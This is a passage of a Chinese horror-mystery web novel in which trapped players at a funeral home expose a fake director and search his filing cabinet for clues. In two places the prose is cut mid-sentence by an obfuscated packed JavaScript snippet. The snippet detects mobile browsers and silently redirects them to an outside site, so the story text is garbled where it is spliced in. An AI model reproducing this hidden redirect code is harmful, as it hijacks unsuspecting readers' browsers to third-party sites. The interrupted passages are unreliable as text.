“我还需要进一步证实,但要等骨灰装盒之后。”稍顿,霍闻川又说:“今天王齐东把车开回来后,我们还没来得及到车里去找吧?” 蒲耀起身说:“我现在就去找。” 霍闻川看向姜银砚三人:“我和蒲耀一起去,你们在这里等。” 两人出去后,姜银砚和傅平湘便开始宽慰郑暧,说着“一定有办法”、“只要尽快破案,我们就能离开”之类苍白无力的话。 十几分钟后,霍闻川和蒲耀回到休息室,两人带回来一个令人震惊的发现。 蒲耀展开右手,“我们在车后面找到一片新鲜的莲白碎叶。” “莲白叶。”傅平湘盯着蒲耀掌心的莲白叶看,“王齐东开灵车出去拉菜了?” “或者说,王齐东是帮聚源饭店运的菜。”姜银砚深吸一口气,“午饭的时候,秦姐说莲白已经用完了,晚上却又上了一盘分量扎实的糖醋莲白。” 郑暧狐疑地问:“王齐东和秦姐的关系好到这种地步吗?” 霍闻川缓缓坐到沙发上,目视众人,“如果说,我们所见到的王齐东并不是真正的王齐东。” 姜银砚几乎是想也不想便脱口而出:“秦姐那个出车祸死去的丈夫。” “为什么王齐东不是真正的王齐东?我都听糊涂了,谁能给我解释解释啊?”傅平湘双眉紧锁,越发想不通透。 突如其来的发现使郑暧暂时忘记了喝酒的恐惧,开始分析线索:“会不会王齐东对秦姐只是单纯的照顾?” 霍闻川立刻否定了这个可能性:“王齐东应该不是默默付出不求回报的人,否则照片中的李书月不会露出害怕的表情。” “这么一说我倒是想起来一个细节。”姜银砚情绪明显高昂起来,“早上王齐东带我们到饭馆后,秦姐递给他一杯水,我看到杯口有淡淡的口红印。我当时以为是杯子没洗干净,现在仔细一想,那应该是秦姐的水杯,她今天也的确擦了口红。” 傅平湘一掌拍在圆桌上,“那没跑了,王齐东绝对就是秦姐的丈夫,他丈夫不仅没死,还整容成了王齐东的样子,接管了殡仪馆,当起馆长,也就更方便给自家的饭馆招揽生意,以公谋私。” “啪”,郑暧冷不丁朝自己小腿打去一巴掌,再拿开时,无名指赫然粘着一只被拍扁的蚊子,“我被蚊子咬了。” “我现在基本上可以确定我的推测,也知道怎么打开文件柜。”霍闻川看着郑暧手里刚拍死的蚊子,“其实,从一开始我们的认知就错了,秦姐和王齐东不是鬼,我们才是。而现在,郑暧已经不是了。” 霍闻川一语惊人,四双目光齐齐聚在他的身上,为这个结论感到难以置信。 静默了大约十几秒后,傅平湘哆哆嗦嗦地道:“我我我……我竟然是鬼,回到现实世界后我还能变回人吗?我不想做鬼啊,我想做人。” 没有人回答傅平湘的问题,更确切地说,大家的注意力都不在傅平湘的问题上,因为在当前的境况里这个问题没有任何意义。 姜银砚已经在十几秒钟内强迫自己冷静下来,“所以说,王齐东的目的是想把我们变成人?通过让我们喝酒的方式?” 霍闻川解释说:“他让郑暧给钱,应该是想促成一个买卖的行为,给钱便意味着自愿,所以当他把酒拿给郑暧时,郑暧已经无法拒绝。” 听到事实,郑暧又生气又心惊,“可是他为什么要把我变成人?” 蒲耀最先想到的是正在焚化炉里火化的尸体,“霍先生,是因为把我们变成人了才可以火化吗?” 霍闻川:“我想应该是的。” 郑暧瞬间捏紧拳头,激动地问:“如果我那个时候不给他钱,他是不是就拿我没办法?” 霍闻川坦诚地说:“郑暧,没有如果,我们目前要做的是尽快破案,现在你是我们当中唯一可以打开文件柜的人。” “我马上就去。”郑暧说着就起身要走。 姜银砚赶忙拉住郑暧,“小暧,先等等,王齐东现在还在办公室,我们需要计划一下。” “好,小姜姐,我听你们的。”郑暧坐回沙发上,身体紧绷成一根仿佛随时会断的弦。 傅平湘忿忿地说:“我们人多力量大,干脆直接把王齐东给绑了,然后郑暧就去开文件柜。” 话说出后,却见大家神色凝重,都不表态,傅平湘底气渐失,“你们觉得这个办法可行吗?” 蒲耀一本正经地说:“不太可行。” 除此之外,傅平湘也再想不出别的办法,立马寄希望于霍闻川,“霍帅,你给出个招啊。” 其他人也把目光投向霍闻川,毕竟五人当中只有他有过一次经验。 霍闻川神色沉着,“再等半个小时,我们把骨灰装好后,去找王齐东。” 半个小时,打游戏、看剧不过是弹指一挥间,但在迷案之地,尤其是现在这种情况下,一分一秒都是漫长。 “我想到一个问题。”姜银砚说:“既然那个假王齐东是秦姐的丈夫,那他每天晚上是住宿舍还是聚源饭店?” 霍闻川:“你们注意到没有,王齐东今天换了一身衣裳。” 蒲耀立马领悟霍闻川的点,“但是二楼的宿舍没有衣柜,办公区也没有专门用来睡觉的房间。” “所以王齐东其实是住在聚源饭店。”傅平湘激动得几乎要从沙发上跳起。 郑暧也闻言了然,“王齐东现在还没走,是在等我们完成火化的任务回到宿舍吗?” “我推测应该是。”霍闻川再抛出一条佐证信息:“昨天晚上,我们回宿舍后不久,我听到一阵很轻微的、铁门开关的声音。” 听到霍闻川的话,所有人都不觉信心十足,只等火化一结束便返回宿舍,等待王齐东离开殡仪馆。 在漫长的等待中,一阵“叮叮叮……”的声音终于不负众望地响起,郑暧登时起身,第一个往里冲,其余人也紧跟其后。 在霍闻川的带领下,大家很快把骨灰装进盒里。 扣严盒盖后,蒲耀主动提出来抱骨灰盒,霍闻川和傅平湘则协助蒲耀将骨灰盒抱稳,所有人片刻不停地直奔办公区。 到楼下后,不是此任务的指定参与者傅平湘和郑暧便留在下面,目送三人拾级而上。 楼道里灯光忽明忽暗,王齐东办公室的门呈虚掩状,从门缝里透出一道狭长的光。 姜银砚走到门外,“咚咚咚”,敲门三下,“王馆长。” 声落后,未听到回应。 现在的姜银砚没有多少耐性,二话不说便将门推开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419459|184759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却看到办公室里面居然空无一人。 三人鱼贯进入办公室后,蒲耀径直将骨灰盒放在办公桌上。 霍闻川则走到茶几前,原本的6个纸杯,现在已经变成了7个,他一眼扫过便看出哪个是新多出来的,随手拿起一看,上面果然写着一个数字:7。 看到霍闻川在拿纸杯,姜银砚连忙凑过来,“这是小暧喝的那个吗?” 霍闻川把写有数字的那一面展示给姜银砚看,姜银砚本能地念出声:“7。” 放下纸杯后,霍闻川冲姜银砚伸出一只手,“阿砚,把你的打火机给我。” 姜银砚麻利地从包里拿出打火机递给霍闻川。 霍闻川接过打火机,却未立刻使用,而是放进兜里,“你们留在办公室,我出去找王齐东。” “闻川,等一下,他不会是在卫生间吧?”姜银砚第一时间想到的就是大白天都能闹鬼的卫生间。 蒲耀担心霍闻川一个人应付不过来,便说:“霍先生,我和你一起去吧。” 霍闻川温和地说:“阿砚比较胆小,我更希望你能留下来陪她,可以吗?” 姜银砚的心脏仿佛被什么东西轻轻地撞了一下,父母离婚又各自组建新的家庭后,闺蜜赵枝之外,霍闻川是第一个对她这般温柔的人,用略显俗气的话来说,就像是一阵和煦的春风贴面拂过。 “谢谢。”姜银砚眼眶里一阵温热,仿佛有温泉蓄在其中。 蒲耀看到姜银砚眼里浅泛波光,而那声“谢谢”也饱含深挚,便知定然是触及到了她的酸心事,立刻应承下来:“嗯,好的。” 霍闻川转身之前又多看了姜银砚两眼,随后便头也不回地走出办公室。 办公室和卫生间之间大约有十余步的距离,霍闻川两手插在兜里,在摇曳的灯光下,气定神闲地朝前走。 离卫生间还差一步时,霍闻川蓦然停住脚步,从兜里拿出打火机,随后举步走进去。 里面伸手不见五指,霍闻川进来后做的第一件事便是摁亮打火机。 在一派昏黄的微弱光线里,霍闻川瞥见角落处蹲着个人影,身上穿的衣服和王齐东一样,脚边放着一只碗,怀里好像抱着什么。 霍闻川放慢脚步,缓缓靠近,来到他背后时才看到王齐东手里抱的竟是他们上午在卫生间里看到的焦黑鬼婴。 更可怖的是,王齐东正舀着碗里的东西,一勺一勺地喂鬼婴吃,而那碗里分明装的是骨灰。 鬼婴在每吃下一口骨灰后,身上焦黑的外皮便翘起一片,发出令人不适的撕裂声,并自动卷到一边,露出本该属于婴孩的白嫩肌肤。 霍闻川完全有理由相信,当鬼婴将一整碗骨灰全部吃下去后,身上焦黑的外皮便会像蛇蜕皮一样整个剥落。 也不知道王齐东是太过醉心于喂食婴孩而未察觉到身后有人,还是根本不惧怕有人看到这个秘密,竟然一点反应都没有,犹然进行着自己的事。 卫生间里安静得可怕,让人恍惚有种置身于真空环境的错觉。 此刻,鬼婴脸部的焦黑外皮已经卷起一半,王齐东喂食的动作仍然在有序地进行。 忽然间,只听“滴答”一声,似远似近的滴水声被百倍放大,叫人听在耳中不由得心脏一缩。 而滴水声响起的刹那,鬼婴原本紧闭的双眼竟霍然睁开,一双没有眼白的黑瞳死死盯着王齐东身后的霍闻川。 约摸三秒钟的无声对视后,鬼婴缓缓冲他露出一个阴森至极的笑。 “嘻嘻嘻……” 伴着诡异的稚音,王齐东喂食的动作一顿,眼看着下一秒就要转过脸来。 霍闻川毫不犹豫地旋踵,迅速离开卫生间。 14. 白华园殡仪馆 办公室里,白天在卫生间看到的惊悚画面像烙在姜银砚脑中一样,日间尚且如此,晚上只怕是危险加倍,所以从霍闻川走出办公室的那一刻起,她便如坐针毡。 而蒲耀虽然表面上看似淡定无比,但仿佛多动症一样的举止也透漏出内心的慌乱。 时间一分一秒地过去,两人等回来的却不是霍闻川,而是王齐东。 王齐东走进办公室后,冲两人冷冰冰地说:“小霍已经回宿舍了,你们也赶紧回去吧。” 突发情况让姜银砚和蒲耀陷入无措的境地,两人飞快地交换眼色。 虽然不知道眼前的王齐东是人还是鬼,但他口中之言却是十乘十的假。 姜银砚噙笑说:“多谢王馆长,我们还想在您的办公室坐坐,您要有事就先去忙,不用管我们,我们坐一会儿就回去。” “小霍都回去了,你们还不走?”王齐东目光乍然凌厉起来,语气也更加生硬。 蒲耀两只手撑在沙发上,快速地按压两下,表情充满享受,“沙发很松软,我们希望可以再多坐会儿,请王馆长允许。” 姜银砚也往后一靠,摸摸肚皮,“晚饭吃得太饱,现在回去总归是睡不着。” 见二人油盐不进,王齐东禁不住面色几变,最终拂袖而去。 王齐东走后,两人悠闲的情态顿时一收。 姜银砚沉沉地吐出一口气,“我刚才真是捏一把汗。” 话音刚落,便看到霍闻川行色匆匆地进门。 经过王齐东那一遭,两人不禁对眼前的霍闻川充满怀疑。 霍闻川自然也发现二人眼神的古怪,“刚才是不是发生了什么?” “你……”姜银砚犹豫着开口:“是真的?” 霍闻川立刻就明白刚刚出现了什么,他摊开手掌,露出从姜银砚手里拿走的打火机,跟着又取出兜里的冥币,用两件物品来证明自己的真实性,“是我,霍闻川。” 两人随之放下戒备,蒲耀说:“如果霍先生再早两步回来就能撞见一个假的王齐东。” 姜银砚又接着蒲耀的话将刚发生的事告诉霍闻川。 霍闻川声沉沉道:“任何时候我都不会不告而别。” 姜银砚郑重道:“我们都相信你。” “霍先生在卫生间找到王齐东了吗?”蒲耀问。 “找到王齐东的同时,我还知道了骨灰的作用。” 当霍闻川将他在卫生间里看到的场景告诉两人时,姜银砚当时瞪大双眼,“这也太恐怖了吧,还好我没看到,不然当场就能吓晕。” 蒲耀五官直接皱起,“不但可怕,还令人作呕。” 这个发现无疑给办公桌上的骨灰盒蒙起一层奇诡的阴影,姜银砚的视线丝毫不敢往那处瞥,就怕忍不住脑补出更多也更骇人的画面。 “那他得多久才能结束?”姜银砚现在最关心的还是这个问题。 “应该快了,我去的时候,碗里的骨灰已经所剩无几。”霍闻川神色自若,语气淡然,但说出口的话却能教人心脏翻滚。 实际也正如他所言,不过两三句话的功夫,王齐东便出现在门口,目光扫过坐在沙发上的三人,一言不发地走近办公桌,揭开骨灰盒盖。 在看到盒里装得满满当当的骨灰时,王齐东露出一个满意的笑,此情此景若叫不知其中的人看去,恐怕要认为里面装的是满满一盒钱。 王齐东小心翼翼地抱起骨灰盒,打开文件柜。 文件柜虽然只拉开半扇,却分毫挡不住三人探究的目光,只恨不能马上走过去拿出里面的文件翻看。 王齐东全然未察觉身后那三道虎狼似的目光,他慢条斯理地将骨灰盒放到最下面一层,又往里推进一柞,随后关闭柜门,也将三双灼灼的目光挡在外面。 在王齐东转身之前,三人迅速收回视线,装作一副完全不知情、也毫不在意的样子。 霍闻川问:“王馆长,我们今天的任务是否已经完成?” 王齐东面对三人时,又恢复那副冰冷的表情,“你们现在可以回宿舍了,听到狗吠三声后就不可以再出来。” 狗吠三声后,不能离开宿舍,这是今晚的规则。 姜银砚表情认真地说:“记住了。” 楼下,傅平湘和郑暧等得心急如焚,既不敢直接上去,也不敢回宿舍,只能在原地不停地踱来踱去,望眼欲穿。 三人下来时看到的场景就是傅平湘和郑暧一个在往右走,一个在往左走,十余步之后又默契十足地调换过来。 郑暧双手贴在胸前,紧紧抓住包包的链子。 傅平湘把自己的吊坠捏在手心里,嘴唇快速翻动,大约又是在祈求各路神佛庇佑。 下最后几步台阶时,姜银砚忍不住问:“走来走去,你们两个晕不晕?” 听到声音,二人的脚步当时一顿。 “我的亲人,你们总算是下来了。”傅平湘“噔噔噔”跑过来,将三人上下左右地打量,“全须全尾。” 姜银砚视线越过傅平湘,落到郑暧身上,那个比自己小几岁的女孩站在原地没动,原本明亮的双瞳此时却布满似乎挥散不去的阴霾,精气神的抽离仿佛肉眼可见。 姜银砚来到郑暧面前,“小暧,还不到最后一刻,别放弃。” 尽管任何宽慰的言辞都不能逆改已经产生的结果,也无法让人摆脱困境,但在某些时候对于某些人,却是一种必需品,好比镇定剂。 “嗯,我相信希望。” 刹那间,姜银砚透过郑暧漆黑的双瞳,看到阴霾深处的光芒。 傅平湘急着问他们在楼上遇到是否有遇到可怕的事,为什么迟迟没有下来,以及诉说他和郑暧非常担心云云。 霍闻川却并不急着回答,只是说:“先回宿舍。” 路过灵堂外,五人发现大厅的灯不知道什么时候被人关了,眼下是黑洞洞一片,透着挠心的森然。 回到二楼宿舍区后,五人没有去各自的房间,而是集中在距离楼梯口最近的一号房中,也就是郑暧住的那间,等待王齐东的离开。 房间里唯一可以产生光源的就只有手电筒,但谁也没有要打开的意思,因为黑暗往往能使听觉更加灵敏,况且从门缝里漏进来的微弱光丝已经足够让他们准确看到对方的轮廓。 狭窄的屋子里,除开一张床,没有别的家具,霍闻川选择靠墙而立,蒲耀选择站在床尾,姜银砚三人则并肩坐在床沿。 蒲耀显然是几人中最忙碌的,一进屋他便被傅平湘缠着问他们三人在办公室的所见所闻。 在蒲耀讲到霍闻川进卫生间时,冷不丁被姜银砚出声打断:“稍等一下。” 随后便看到她取下斜垮在身前的小包,不由分说地捂住傅平湘的嘴,“蒲耀,你可以继续了。” 在场所有人都知道姜银砚这么做的原因,唯独当事人傅平湘自己心中无数,挣扎着想要推开姜银砚,但在听到蒲耀讲王齐东喂鬼婴吃骨灰时,他整个人顿时僵在那里,不再试图扒开姜银砚。 一直等到蒲耀讲述完毕,姜银砚才将小包从傅平湘嘴前移开,重新挎回身前,整个过程完全可以用行云流水来形容。 “嘶……”傅平湘好半晌才回过神,“好踏马吓人,我打死也不会再进那个卫生间,我进我是狗,我是……” 傅平湘害怕的时候就喜欢不停地讲话,在他忘我地宣泄恐惧的情绪时,肩膀猝不及防地被人用力一掐,他连忙捂着疼痛处,“姜姐姐,你掐我干嘛?” “别说话。”姜银砚凝神在听外面的动静,瞬目间,一道微不可闻的“吱呀”声传入耳中。 随后便听到霍闻川说:“王齐东走了,两分钟后我们出去。” 两分钟,已经足够王齐东走远。 众人几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419460|184759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是数着时间在等,只听霍闻川道:“走。” 将军下令一般,四人即时行动,离门最近的姜银砚率先起身,打开房门,其余人跟在她身后鱼贯而出。 因卫生间连发的惊悚事件而对整个办公区都有着极大阴影的傅平湘和视力极好的蒲耀留在下面,其他三人则迅速上到二楼,进入王齐东的办公室。 霍闻川先用一块薄薄的布裹住手电筒,然后再打开,光芒因此减弱一半,能让里面的人足以看清近物,也引不起外面人的注意,一举两得。 郑暧站在文件柜前,紧张得手掌心里全是汗,她不确定自己是否能打开文件柜,也不知道一旦失败,自己将会面临怎样的命运。 “小暧,别怕。”姜银砚在一旁给她鼓气。 郑暧颤抖地伸出手,指尖触及到冰凉的文件柜,深吸一口气,霍地往外一拉,半扇柜门当真无钥而开。 姜银砚和郑暧瞬间喜形于色,生出些底气的郑暧又连忙把另外半扇门也拉开。 里面存放的文件正如傅平湘所说,一堆牛皮纸,几个蓝色文件夹和一沓没有封装的文件。 “阿砚翻文件夹,郑暧翻牛皮纸里面的文件,我来翻剩下的。”霍闻川迅速地分配好每个人所负责的版块后,三人便开始紧张有序地进行。 霍闻川将手电筒放在文件柜里,摆放的位置刚好能够照到所有文件。 此刻,安静的办公室里,只能听到纸张的摩擦声。 “我找到了员工花名册。”郑暧拿着一叠类似于简历的A4纸,激动地说。 “很重要的发现。”站在中间的姜银砚把花名册拿到手里,以便于三个人都能看见。 第一张上面的名字就写着王齐东,除开没有个人照片,里面的信息可谓是相当齐全,身高体重、婚姻情况、家庭住址等信息均有,甚至包括血型。 王齐东的信息表里,婚姻状况一栏赫然写着:未婚。 形体方面,身高178cm,体重72kg,明显偏瘦,所以现在已经确定那个人不是真正的王齐东。 姜银砚将王齐东的信息表拿出来放在一旁,随后又往下翻,后面4个人的信息都跟李书月无关,翻到第5个人的时候,姜银砚停下来。 只见上面的信息是: 李发平,男,身高171cm,体重68kg,已婚,家庭住址是胜利县同花沟村7组15号,在殡仪馆担任的工作是保洁员。 霍闻川将李发平的信息表抽出来,“阿砚,继续。” 姜银砚于是接着往下翻,翻到一个名叫周琦芬的女人的信息表时再次停下。 只见周琦芬的家庭住址也是胜利县同花沟村7组15号,担任的工作同样是保洁员,和李发平一样。 霍闻川又将周琦芬的信息表抽出来。 姜银砚继续翻,到最后一张信息表时,姜银砚双目赫然瞪大,这张信息表上面的姓名是杨诚,家庭住址居然是聚源大饭店。 郑暧不由分说地将杨诚的信息表抽出来,将家庭住址那一栏连看四五遍,“这是……秦姐的丈夫?” 再看表上的其他信息,身高168cm,体重83kg,非常符合假王齐东的身材。 霍闻川不打算在此时此地便开始就信息表上的内容展开讨论,“时间紧迫,我们先把剩下的文件看完。” 半分钟后。 “你们看,我找到了这个。”姜银砚语气激动地说。 左右两人立刻凑过来,见是一本遗体火化登记表,上面记录着死者的基本信息。 登记表大概有三厘米厚,一时半会儿肯定翻不完,姜银砚便把它和方才抽取出来的四张信息表放在一起,然后继续看剩下的文件。 所有文件全部翻完后,再没有找到更多有用的线索。 与此同时,姜银砚发现一件极为致命的事:“没有找到李书月的日记本。”